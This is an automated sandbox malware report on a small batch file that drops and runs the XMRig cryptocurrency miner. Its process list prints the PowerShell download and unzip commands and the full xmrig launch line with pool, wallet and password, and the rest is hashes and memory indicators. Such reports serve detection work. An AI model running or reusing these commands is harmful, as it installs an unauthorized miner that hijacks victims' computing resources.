Analysis

  • max time kernel
    1793s
  • max time network
    1797s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    01-01-2024 03:11

General

  • Target

    tesy - Copy (7).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 42 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
    1⤵
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:4236
  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (7).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:800
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3612
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4244

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    68c6e5c46adf2f3401e2d79a029b8f27

    SHA1

    be56068e58b47b11fa4353e1ad4c9dfd9f49e50d

    SHA256

    f40b33e033bef5ac1ae3b605bef131fe6f69e2668c9bc6acf605a9bb341703bb

    SHA512

    91f114ef6e92d3f2c98560edbfc2e9a6bf742e61cc7c660d24820e3ad06f71ba7021ac1f08efb932c00cc0d2d7c32954cb01a8aa39d8816397e20f53c1bc9589

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_p4mq4ivl.b1d.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    8KB

    MD5

    e91b281fd16c1d4197956969a21bdb55

    SHA1

    96d6cc040b7d7e019de53e2dc39a3a99710779f5

    SHA256

    40a6438f6448cd762e045ff1d1c35ad62497bb4108ecf7316457bbc29c667676

    SHA512

    293802fa9073b9b8dcc63345ed75fd41e56f88b747dd8e8fc85b2e57a6565f2d3c3bb9e1423664005d2400ba2285b415b7662e26e956ef76bcabc7b5b0ca00de

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    18KB

    MD5

    8a2d32a88b1497be276bcf5db128eefa

    SHA1

    85814c924e84a48b579a82e2dc251ca07cf49f96

    SHA256

    977841ddbccba55175ceace1b85cc432cd950594ad53a2204313d1f85a380e46

    SHA512

    cb30872a2e55755760007645c31772c709ed533e9d954779a3bb92a3528bd7e0466240fb389725935c0c6a232a265124ba69bdc34de3d2143f19fc3e116dae42

  • memory/3612-40-0x00007FFE4A2A0000-0x00007FFE4AC8C000-memory.dmp

    Filesize

    9.9MB

  • memory/3612-43-0x000001B3BFFF0000-0x000001B3C0000000-memory.dmp

    Filesize

    64KB

  • memory/3612-41-0x000001B3BFFF0000-0x000001B3C0000000-memory.dmp

    Filesize

    64KB

  • memory/3612-117-0x00007FFE4A2A0000-0x00007FFE4AC8C000-memory.dmp

    Filesize

    9.9MB

  • memory/3612-93-0x000001B3D88A0000-0x000001B3D88AA000-memory.dmp

    Filesize

    40KB

  • memory/3612-80-0x000001B3D8AA0000-0x000001B3D8AB2000-memory.dmp

    Filesize

    72KB

  • memory/3612-66-0x000001B3BFFF0000-0x000001B3C0000000-memory.dmp

    Filesize

    64KB

  • memory/4236-4-0x000002DF748B0000-0x000002DF748D2000-memory.dmp

    Filesize

    136KB

  • memory/4236-26-0x00007FFE4A2A0000-0x00007FFE4AC8C000-memory.dmp

    Filesize

    9.9MB

  • memory/4236-25-0x000002DF74930000-0x000002DF74940000-memory.dmp

    Filesize

    64KB

  • memory/4236-9-0x000002DF74930000-0x000002DF74940000-memory.dmp

    Filesize

    64KB

  • memory/4236-18-0x000002DF74930000-0x000002DF74940000-memory.dmp

    Filesize

    64KB

  • memory/4236-8-0x00007FFE4A2A0000-0x00007FFE4AC8C000-memory.dmp

    Filesize

    9.9MB

  • memory/4236-7-0x000002DF74AC0000-0x000002DF74B36000-memory.dmp

    Filesize

    472KB

  • memory/4236-27-0x000002DF74930000-0x000002DF74940000-memory.dmp

    Filesize

    64KB

  • memory/4236-28-0x000002DF74930000-0x000002DF74940000-memory.dmp

    Filesize

    64KB

  • memory/4236-29-0x000002DF74930000-0x000002DF74940000-memory.dmp

    Filesize

    64KB

  • memory/4236-34-0x00007FFE4A2A0000-0x00007FFE4AC8C000-memory.dmp

    Filesize

    9.9MB

  • memory/4244-143-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-155-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-122-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-123-0x000001334AF60000-0x000001334AF80000-memory.dmp

    Filesize

    128KB

  • memory/4244-124-0x000001334AF80000-0x000001334AFA0000-memory.dmp

    Filesize

    128KB

  • memory/4244-125-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-126-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-127-0x000001334AF60000-0x000001334AF80000-memory.dmp

    Filesize

    128KB

  • memory/4244-129-0x000001334AF80000-0x000001334AFA0000-memory.dmp

    Filesize

    128KB

  • memory/4244-128-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-130-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-131-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-132-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-133-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-134-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-135-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-136-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-137-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-138-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-139-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-140-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-141-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-142-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-120-0x0000013349400000-0x0000013349420000-memory.dmp

    Filesize

    128KB

  • memory/4244-144-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-145-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-146-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-147-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-148-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-149-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-150-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-151-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-152-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-153-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-154-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-121-0x000001334AF20000-0x000001334AF60000-memory.dmp

    Filesize

    256KB

  • memory/4244-156-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-157-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-158-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-159-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-160-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-161-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-162-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-163-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-164-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-165-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-166-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-167-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-168-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-169-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-170-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-171-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-172-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-173-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-174-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-175-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-176-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-177-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-178-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-179-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-180-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-181-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-182-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-183-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-184-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-185-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-186-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-187-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB

  • memory/4244-188-0x00007FF718CB0000-0x00007FF7197B3000-memory.dmp

    Filesize

    11.0MB